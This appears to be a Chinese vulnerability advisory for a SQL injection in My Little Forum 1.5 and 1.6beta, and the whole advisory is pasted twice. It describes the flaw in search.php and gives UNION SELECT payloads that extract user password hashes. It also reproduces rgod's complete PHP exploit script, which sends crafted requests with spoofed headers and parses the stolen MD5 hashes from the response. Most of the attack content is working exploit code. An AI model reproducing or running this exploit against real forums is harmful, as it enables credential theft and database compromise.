受影响系统:
my little homepage My Little Forum 1.6beta
my little homepage My Little Forum 1.5
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 14908
My Little Forum是一款简单的WEB论坛程序。
My Little Forum中存在SQL注入漏洞,成功利用这个漏洞的攻击者可以完全入侵基础数据库系统。
在search.php的第144行:
...
$result = mysql_query("SELECT id, pid, tid, DATE_FORMAT(time + INTERVAL ".
$time_difference." HOUR,'".$lang['time_format']."') AS Uhrzeit,
DATE_FORMAT(time + INTERVAL ".$time_difference." HOUR, '".$lang['time_format']."')
AS Datum, subject, name, email, hp, place, text, category FROM ".$forum_table."
WHERE ".$search_string." ORDER BY tid DESC, time ASC LIMIT ".$ul.", "
.$settings['search_results_per_page'], $connid);
...
然后在搜索页面,选择“phrase”,然后键入:
[whatever]%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw,
user_pw, user_pw, user_pw, user_pw, user_pw, user_pw FROM forum_userdata where
user_name='[username]' /*
由于没有过滤$searchstring变量,如果关闭了magic quote的话,就可以得到任何管理员/用户口令哈希。
1.6beta版也受漏洞影响:
...
$result = mysql_query("SELECT id, pid, tid, UNIX_TIMESTAMP(time + INTERVAL \
".$time_difference." HOUR) AS Uhrzeit, subject, name, email, hp, place, text, \
category FROM ".$db_settings['forum_table']." WHERE ".$search_string." ORDER BY tid \
DESC, time ASC LIMIT ".$ul.", ".$settings['search_results_per_page'], $connid);
...
在注入字符串中删除语句,可得到同样的结果
[whatever]%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw,
user_pw, user_pw, user_pw, user_pw, user_pw FROM forum_userdata where
user_name='[username]' /*
<*来源:rgod (rgod@autistici.org)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112741430006983&w=2
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
# mlfexpl.php #
# #
# My Little Forum 1.5 ( possibly prior versions) SQL Injection / #
# MD5 password hash disclosure poc exploit with proxy support #
# #
# by rgod #
# site: rgod.altervista.org #
# #
# make these changes in php.ini if you have troubles #
# to launch this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# usage: launch this script from Apache, fill requested fields, then... #
# dump all password hashes from database right now... #
# #
# Sun-Tzu: "You can be sure of succeeding in your attacks if you only attack #
# places which are undefended. You can ensure the safety of your defense if #
# you only hold positions that cannot be attacked." #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'
My Little Forum 1
.5 SQL Injection
a script by rgod at rgod.altervista.org
width="84%">
hostname (ex: www.siten
ame.com)
path (ex: /mylf/ or just /)
class="Stile5"> specify a port other than 80 (default value)
type="text" name="proxy"> send exploit through an HTTP
proxy (ip:port)
="Stile5">username whom you want MD5 hash
name="Submit" value="go!">
';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo ' ';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo " ";
for ($li=0; $li<=15; $li++)
{ echo " ".$headeri[$li+$ki]." ";
}
$ki=$ki+16;
echo "
";
}
if (strlen($datai)==1) {echo " 0".$datai." ";} else
{echo " ".$datai." ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo " ";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "
".$headeri[$li]." ";
}
echo "
";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket($packet,$show)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
if (!eregi($proxy_regex,$proxy))
{echo htmlentities($proxy).' -> not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
if ($show) {echo nl2br(htmlentities($html));}
}
if (($path<>'') and ($host<>'') and ($username<>''))
{
if ($port=='') {$port=80;}
$sql="%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, \
user_pw, user_pw, user_pw, user_pw"; $sql=", user_pw"; //if version is 1.6 beta, just \
add a comment to ths line $sql=" FROM forum_userdata WHERE \
user_name='".$username."'/*"; $sql=urlencode($sql);
if ($proxy=='')
{$packet="GET ".$path."search.php?search=".$sql."&ao=phrase HTTP/1.1\r\n";}
else
{$packet="GET ".$host.$path."search.php?search=".$sql."&ao=phrase \
HTTP/1.1\r\n";} $packet.="Client-IP: 127.0.0.1\r\n";
$packet.="X-Forwarded-For: 127.0.0.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, \
application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: \
".$host.$path."search.php\r\n"; $packet.="Accept-Language: en\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Baiduspider+(+http://www.baidu.com/search/spider.htm)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Keep-Alive\r\n\r\n";
show($packet);
sendpacket($packet,0);
$temp=explode(';(',$html);
$temp2=explode(')',$temp[1]);
$hash=$temp2[0];
echo '
username: '.$username.' hash: '.$hash;
# debugging...
//echo htmlentities($html);
}
else
{
echo '
fill in all requested fields, optionally specify a proxy...
';
}
?>
建议:
--------------------------------------------------------------------------------
厂商补丁:
my little homepage
------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
www.mylittlehomepage.net/forum_script.html
my little homepage My Little Forum 1.6beta
my little homepage My Little Forum 1.5
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 14908
My Little Forum是一款简单的WEB论坛程序。
My Little Forum中存在SQL注入漏洞,成功利用这个漏洞的攻击者可以完全入侵基础数据库系统。
在search.php的第144行:
...
$result = mysql_query("SELECT id, pid, tid, DATE_FORMAT(time + INTERVAL ".
$time_difference." HOUR,'".$lang['time_format']."') AS Uhrzeit,
DATE_FORMAT(time + INTERVAL ".$time_difference." HOUR, '".$lang['time_format']."')
AS Datum, subject, name, email, hp, place, text, category FROM ".$forum_table."
WHERE ".$search_string." ORDER BY tid DESC, time ASC LIMIT ".$ul.", "
.$settings['search_results_per_page'], $connid);
...
然后在搜索页面,选择“phrase”,然后键入:
[whatever]%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw,
user_pw, user_pw, user_pw, user_pw, user_pw, user_pw FROM forum_userdata where
user_name='[username]' /*
由于没有过滤$searchstring变量,如果关闭了magic quote的话,就可以得到任何管理员/用户口令哈希。
1.6beta版也受漏洞影响:
...
$result = mysql_query("SELECT id, pid, tid, UNIX_TIMESTAMP(time + INTERVAL \
".$time_difference." HOUR) AS Uhrzeit, subject, name, email, hp, place, text, \
category FROM ".$db_settings['forum_table']." WHERE ".$search_string." ORDER BY tid \
DESC, time ASC LIMIT ".$ul.", ".$settings['search_results_per_page'], $connid);
...
在注入字符串中删除语句,可得到同样的结果
[whatever]%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw,
user_pw, user_pw, user_pw, user_pw, user_pw FROM forum_userdata where
user_name='[username]' /*
<*来源:rgod (rgod@autistici.org)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112741430006983&w=2
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
# mlfexpl.php #
# #
# My Little Forum 1.5 ( possibly prior versions) SQL Injection / #
# MD5 password hash disclosure poc exploit with proxy support #
# #
# by rgod #
# site: rgod.altervista.org #
# #
# make these changes in php.ini if you have troubles #
# to launch this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# usage: launch this script from Apache, fill requested fields, then... #
# dump all password hashes from database right now... #
# #
# Sun-Tzu: "You can be sure of succeeding in your attacks if you only attack #
# places which are undefended. You can ensure the safety of your defense if #
# you only hold positions that cannot be attacked." #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'
My Little Forum 1
.5 SQL Injection
a script by rgod at rgod.altervista.org
width="84%">
hostname (ex: www.siten
ame.com)
path (ex: /mylf/ or just /)
class="Stile5"> specify a port other than 80 (default value)
type="text" name="proxy"> send exploit through an HTTP
proxy (ip:port)
="Stile5">username whom you want MD5 hash
name="Submit" value="go!">
';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo ' ';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo " ";
for ($li=0; $li<=15; $li++)
{ echo " ".$headeri[$li+$ki]." ";
}
$ki=$ki+16;
echo "
";
}
if (strlen($datai)==1) {echo " 0".$datai." ";} else
{echo " ".$datai." ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo " ";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "
".$headeri[$li]." ";
}
echo "
";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket($packet,$show)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
if (!eregi($proxy_regex,$proxy))
{echo htmlentities($proxy).' -> not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
if ($show) {echo nl2br(htmlentities($html));}
}
if (($path<>'') and ($host<>'') and ($username<>''))
{
if ($port=='') {$port=80;}
$sql="%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, \
user_pw, user_pw, user_pw, user_pw"; $sql=", user_pw"; //if version is 1.6 beta, just \
add a comment to ths line $sql=" FROM forum_userdata WHERE \
user_name='".$username."'/*"; $sql=urlencode($sql);
if ($proxy=='')
{$packet="GET ".$path."search.php?search=".$sql."&ao=phrase HTTP/1.1\r\n";}
else
{$packet="GET ".$host.$path."search.php?search=".$sql."&ao=phrase \
HTTP/1.1\r\n";} $packet.="Client-IP: 127.0.0.1\r\n";
$packet.="X-Forwarded-For: 127.0.0.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, \
application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: \
".$host.$path."search.php\r\n"; $packet.="Accept-Language: en\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Baiduspider+(+http://www.baidu.com/search/spider.htm)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Keep-Alive\r\n\r\n";
show($packet);
sendpacket($packet,0);
$temp=explode(';(',$html);
$temp2=explode(')',$temp[1]);
$hash=$temp2[0];
echo '
username: '.$username.' hash: '.$hash;
# debugging...
//echo htmlentities($html);
}
else
{
echo '
fill in all requested fields, optionally specify a proxy...
';
}
?>
建议:
--------------------------------------------------------------------------------
厂商补丁:
my little homepage
------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
www.mylittlehomepage.net/forum_script.html
回复Comments
{commenttime}{commentauthor}
{CommentUrl}
{commentcontent}